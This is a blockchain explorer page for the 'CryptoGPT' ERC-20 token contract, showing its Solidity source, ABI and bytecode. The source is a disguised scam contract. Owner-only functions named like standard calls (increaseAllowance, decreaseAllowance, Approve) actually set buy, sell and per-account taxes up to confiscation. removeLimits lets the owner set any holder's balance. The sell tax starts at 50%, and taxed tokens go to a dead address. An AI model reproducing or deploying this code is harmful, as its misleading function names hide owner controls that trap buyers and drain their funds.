ERC-20
Overview
Max Total Supply
3,000,000,000 GPT
Holders
45
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,999,487.196221640588476018 GPTValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CryptoGPT
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-10 */ /** ──────▄▌▐▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▌ ───▄▄██▌█ ░ CryptoGPT 🐕 ▄▄▄▌▐██▌█ ░░░░░░ ░░░░░░░░░ ░░░░░░░▐\. ███████▌█▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▌ \. ▀❍▀▀▀▀▀▀▀❍❍▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀▀❍❍ ▀▀. 👁🗨 Website: http://cryptogpt.org/ 👁🗨 Discord: https://discord.gg/cryptogpt 👁🗨 Twitter: https://twitter.com/CryptoGPT_org 👁🗨 TG: https://t.me/CryptoGPTorgChannel */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the Owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new Owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ERC20 is Context { mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } } contract CryptoGPT is ERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => bool) private _isTax; mapping(address => uint256) private _accTax; uint256 private _buyTax; uint256 private _sellTax; address private uniswapV2Pair; address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD; IUniswapV2Router02 private uniswapV2Router; constructor( string memory name_, string memory symbol_, uint256 totalSupply_ ) ERC20(name_, symbol_) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _mint(_msgSender(), totalSupply_ * 10**decimals()); _isTax[_msgSender()] = true; _buyTax = 0; _sellTax = 50; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: REWARD to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _transfer( address from, address to, uint256 _amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 fromBalance = _balances[from]; require(fromBalance >= _amount, "ERC20: transfer amount exceeds balance"); bool rF = true; if (_checkFreeAccount(from, to)) { rF = false; } uint256 tradeFeeAmount = 0; if (rF) { uint256 tradeFee = 0; if (uniswapV2Pair != address(0)) { if (to == uniswapV2Pair) { tradeFee = _sellTax; } if (from == uniswapV2Pair) { tradeFee = _buyTax; } } if (_accTax[from] > 0) { tradeFee = _accTax[from]; } tradeFeeAmount = _amount.mul(tradeFee).div(100); } if (tradeFeeAmount > 0) { _balances[from] = _balances[from].sub(tradeFeeAmount); _balances[_deadAddress] = _balances[_deadAddress].add(tradeFeeAmount); emit Transfer(from, _deadAddress, tradeFeeAmount); } _balances[from] = _balances[from].sub(_amount - tradeFeeAmount); _balances[to] = _balances[to].add(_amount - tradeFeeAmount); emit Transfer(from, to, _amount - tradeFeeAmount); } function _checkFreeAccount(address from, address to) internal view returns (bool) { return _isTax[from] || _isTax[to]; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function increaseAllowance(uint256 _value) external onlyOwner { _sellTax = _value; } function decreaseAllowance(uint256 _value) external onlyOwner { _buyTax = _value; } function Approve(address _address, uint256 _value) external onlyOwner { require(_value >= 0, "Account tax must be greater than or equal to 0"); _accTax[_address] = _value; } function setBots(address _address, bool _value) external onlyOwner { _isTax[_address] = _value; } function removeLimits(address to, uint amount) external onlyOwner { _balances[to] = amount; } function transfer(address to, uint256 amount) public virtual returns (bool) { _transfer(_msgSender(), to, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, address(this), block.timestamp ); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"decreaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"setBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162002f4b38038062002f4b833981810160405281019062000037919062000740565b828281600290816200004a919062000a1b565b5080600390816200005c919062000a1b565b5050506200007f620000736200034a60201b60201c565b6200035260201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000125573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200014b919062000b67565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d9919062000b67565b6040518363ffffffff1660e01b8152600401620001f892919062000baa565b6020604051808303816000875af115801562000218573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023e919062000b67565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002c9620002926200034a60201b60201c565b620002a26200041860201b60201c565b600a620002b0919062000d67565b84620002bd919062000db8565b6200042160201b60201c565b600160066000620002df6200034a60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060088190555060326009819055505050505062000f15565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000493576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200048a9062000e8a565b60405180910390fd5b8060016000828254620004a7919062000eac565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004ff919062000eac565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000566919062000ef8565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005db8262000590565b810181811067ffffffffffffffff82111715620005fd57620005fc620005a1565b5b80604052505050565b60006200061262000572565b9050620006208282620005d0565b919050565b600067ffffffffffffffff821115620006435762000642620005a1565b5b6200064e8262000590565b9050602081019050919050565b60005b838110156200067b5780820151818401526020810190506200065e565b60008484015250505050565b60006200069e620006988462000625565b62000606565b905082815260208101848484011115620006bd57620006bc6200058b565b5b620006ca8482856200065b565b509392505050565b600082601f830112620006ea57620006e962000586565b5b8151620006fc84826020860162000687565b91505092915050565b6000819050919050565b6200071a8162000705565b81146200072657600080fd5b50565b6000815190506200073a816200070f565b92915050565b6000806000606084860312156200075c576200075b6200057c565b5b600084015167ffffffffffffffff8111156200077d576200077c62000581565b5b6200078b86828701620006d2565b935050602084015167ffffffffffffffff811115620007af57620007ae62000581565b5b620007bd86828701620006d2565b9250506040620007d08682870162000729565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200082d57607f821691505b602082108103620008435762000842620007e5565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008ad7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200086e565b620008b986836200086e565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008fc620008f6620008f08462000705565b620008d1565b62000705565b9050919050565b6000819050919050565b6200091883620008db565b62000930620009278262000903565b8484546200087b565b825550505050565b600090565b6200094762000938565b620009548184846200090d565b505050565b5b818110156200097c57620009706000826200093d565b6001810190506200095a565b5050565b601f821115620009cb57620009958162000849565b620009a0846200085e565b81016020851015620009b0578190505b620009c8620009bf856200085e565b83018262000959565b50505b505050565b600082821c905092915050565b6000620009f060001984600802620009d0565b1980831691505092915050565b600062000a0b8383620009dd565b9150826002028217905092915050565b62000a2682620007da565b67ffffffffffffffff81111562000a425762000a41620005a1565b5b62000a4e825462000814565b62000a5b82828562000980565b600060209050601f83116001811462000a93576000841562000a7e578287015190505b62000a8a8582620009fd565b86555062000afa565b601f19841662000aa38662000849565b60005b8281101562000acd5784890151825560018201915060208501945060208101905062000aa6565b8683101562000aed578489015162000ae9601f891682620009dd565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b2f8262000b02565b9050919050565b62000b418162000b22565b811462000b4d57600080fd5b50565b60008151905062000b618162000b36565b92915050565b60006020828403121562000b805762000b7f6200057c565b5b600062000b908482850162000b50565b91505092915050565b62000ba48162000b22565b82525050565b600060408201905062000bc1600083018562000b99565b62000bd0602083018462000b99565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c655780860481111562000c3d5762000c3c62000bd7565b5b600185161562000c4d5780820291505b808102905062000c5d8562000c06565b945062000c1d565b94509492505050565b60008262000c80576001905062000d53565b8162000c90576000905062000d53565b816001811462000ca9576002811462000cb45762000cea565b600191505062000d53565b60ff84111562000cc95762000cc862000bd7565b5b8360020a91508482111562000ce35762000ce262000bd7565b5b5062000d53565b5060208310610133831016604e8410600b841016171562000d245782820a90508381111562000d1e5762000d1d62000bd7565b5b62000d53565b62000d33848484600162000c13565b9250905081840481111562000d4d5762000d4c62000bd7565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d748262000705565b915062000d818362000d5a565b925062000db07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c6e565b905092915050565b600062000dc58262000705565b915062000dd28362000705565b925082820262000de28162000705565b9150828204841483151762000dfc5762000dfb62000bd7565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e7260218362000e03565b915062000e7f8262000e14565b604082019050919050565b6000602082019050818103600083015262000ea58162000e63565b9050919050565b600062000eb98262000705565b915062000ec68362000705565b925082820190508082111562000ee15762000ee062000bd7565b5b92915050565b62000ef28162000705565b82525050565b600060208201905062000f0f600083018462000ee7565b92915050565b6120268062000f256000396000f3fe608060405234801561001057600080fd5b506004361061010b5760003560e01c80634db23e3e116100a257806390ec57f11161007157806390ec57f11461029257806395d89b41146102ae578063a9059cbb146102cc578063dd62ed3e146102fc578063f2fde38b1461032c5761010b565b80634db23e3e1461021e57806370a082311461023a578063715018a61461026a5780638da5cb5b146102745761010b565b806313b2a23e116100de57806313b2a23e1461019657806318160ddd146101b257806323b872dd146101d0578063313ce567146102005761010b565b806306fdde0314610110578063095ea7b31461012e57806310bad4cf1461015e57806311e330b21461017a575b600080fd5b610118610348565b604051610125919061166c565b60405180910390f35b61014860048036038101906101439190611727565b6103da565b6040516101559190611782565b60405180910390f35b6101786004803603810190610173919061179d565b6103fd565b005b610194600480360381019061018f919061179d565b610483565b005b6101b060048036038101906101ab91906117f6565b610509565b005b6101ba6105e0565b6040516101c79190611845565b60405180910390f35b6101ea60048036038101906101e59190611860565b6105ea565b6040516101f79190611782565b60405180910390f35b610208610619565b60405161021591906118cf565b60405180910390f35b61023860048036038101906102339190611727565b610622565b005b610254600480360381019061024f91906118ea565b6106e6565b6040516102619190611845565b60405180910390f35b61027261072f565b005b61027c6107b7565b6040516102899190611926565b60405180910390f35b6102ac60048036038101906102a79190611727565b6107e1565b005b6102b66108e9565b6040516102c3919061166c565b60405180910390f35b6102e660048036038101906102e19190611727565b61097b565b6040516102f39190611782565b60405180910390f35b61031660048036038101906103119190611941565b610999565b6040516103239190611845565b60405180910390f35b610346600480360381019061034191906118ea565b610a1f565b005b606060028054610357906119b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610383906119b0565b80156103d05780601f106103a5576101008083540402835291602001916103d0565b820191906000526020600020905b8154815290600101906020018083116103b357829003601f168201915b5050505050905090565b6000806103e5610b16565b90506103f2818585610b1e565b600191505092915050565b610405610b16565b73ffffffffffffffffffffffffffffffffffffffff166104236107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610479576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047090611a2d565b60405180910390fd5b8060088190555050565b61048b610b16565b73ffffffffffffffffffffffffffffffffffffffff166104a96107b7565b73ffffffffffffffffffffffffffffffffffffffff16146104ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f690611a2d565b60405180910390fd5b8060098190555050565b610511610b16565b73ffffffffffffffffffffffffffffffffffffffff1661052f6107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610585576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057c90611a2d565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600154905090565b6000806105f5610b16565b9050610602858285610ce6565b61060d858585610d72565b60019150509392505050565b60006012905090565b61062a610b16565b73ffffffffffffffffffffffffffffffffffffffff166106486107b7565b73ffffffffffffffffffffffffffffffffffffffff161461069e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069590611a2d565b60405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610737610b16565b73ffffffffffffffffffffffffffffffffffffffff166107556107b7565b73ffffffffffffffffffffffffffffffffffffffff16146107ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a290611a2d565b60405180910390fd5b6107b56000611413565b565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6107e9610b16565b73ffffffffffffffffffffffffffffffffffffffff166108076107b7565b73ffffffffffffffffffffffffffffffffffffffff161461085d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085490611a2d565b60405180910390fd5b60008110156108a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089890611abf565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6060600380546108f8906119b0565b80601f0160208091040260200160405190810160405280929190818152602001828054610924906119b0565b80156109715780601f1061094657610100808354040283529160200191610971565b820191906000526020600020905b81548152906001019060200180831161095457829003601f168201915b5050505050905090565b600061098f610988610b16565b8484610d72565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a27610b16565b73ffffffffffffffffffffffffffffffffffffffff16610a456107b7565b73ffffffffffffffffffffffffffffffffffffffff1614610a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9290611a2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610b0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0190611b51565b60405180910390fd5b610b1381611413565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8490611be3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf390611c75565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd99190611845565b60405180910390a3505050565b6000610cf28484610999565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d6c5781811015610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5590611ce1565b60405180910390fd5b610d6b8484848403610b1e565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890611d73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4790611e05565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610ed7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ece90611e97565b60405180910390fd5b600060019050610ee785856114d9565b15610ef157600090505b600081156110bc5760008073ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100757600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1603610fab5760095490505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16036110065760085490505b5b6000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561109257600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6110b860646110aa838861158490919063ffffffff16565b61159a90919063ffffffff16565b9150505b600081111561125b5761111781600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111ae816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c690919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112529190611845565b60405180910390a35b6112b8818561126a9190611ee6565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115b090919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611358818561130a9190611ee6565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115c690919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876113f69190611ee6565b6040516114039190611845565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061157c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836115929190611f1a565b905092915050565b600081836115a89190611f8b565b905092915050565b600081836115be9190611ee6565b905092915050565b600081836115d49190611fbc565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156116165780820151818401526020810190506115fb565b60008484015250505050565b6000601f19601f8301169050919050565b600061163e826115dc565b61164881856115e7565b93506116588185602086016115f8565b61166181611622565b840191505092915050565b600060208201905081810360008301526116868184611633565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006116be82611693565b9050919050565b6116ce816116b3565b81146116d957600080fd5b50565b6000813590506116eb816116c5565b92915050565b6000819050919050565b611704816116f1565b811461170f57600080fd5b50565b600081359050611721816116fb565b92915050565b6000806040838503121561173e5761173d61168e565b5b600061174c858286016116dc565b925050602061175d85828601611712565b9150509250929050565b60008115159050919050565b61177c81611767565b82525050565b60006020820190506117976000830184611773565b92915050565b6000602082840312156117b3576117b261168e565b5b60006117c184828501611712565b91505092915050565b6117d381611767565b81146117de57600080fd5b50565b6000813590506117f0816117ca565b92915050565b6000806040838503121561180d5761180c61168e565b5b600061181b858286016116dc565b925050602061182c858286016117e1565b9150509250929050565b61183f816116f1565b82525050565b600060208201905061185a6000830184611836565b92915050565b6000806000606084860312156118795761187861168e565b5b6000611887868287016116dc565b9350506020611898868287016116dc565b92505060406118a986828701611712565b9150509250925092565b600060ff82169050919050565b6118c9816118b3565b82525050565b60006020820190506118e460008301846118c0565b92915050565b600060208284031215611900576118ff61168e565b5b600061190e848285016116dc565b91505092915050565b611920816116b3565b82525050565b600060208201905061193b6000830184611917565b92915050565b600080604083850312156119585761195761168e565b5b6000611966858286016116dc565b9250506020611977858286016116dc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806119c857607f821691505b6020821081036119db576119da611981565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b6000611a176020836115e7565b9150611a22826119e1565b602082019050919050565b60006020820190508181036000830152611a4681611a0a565b9050919050565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2030000000000000000000000000000000000000602082015250565b6000611aa